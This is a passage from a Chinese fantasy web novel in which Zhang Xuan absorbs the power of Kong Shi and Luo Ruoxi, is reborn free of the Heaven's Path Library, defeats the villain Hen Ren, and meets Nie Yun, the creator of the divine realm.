必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新!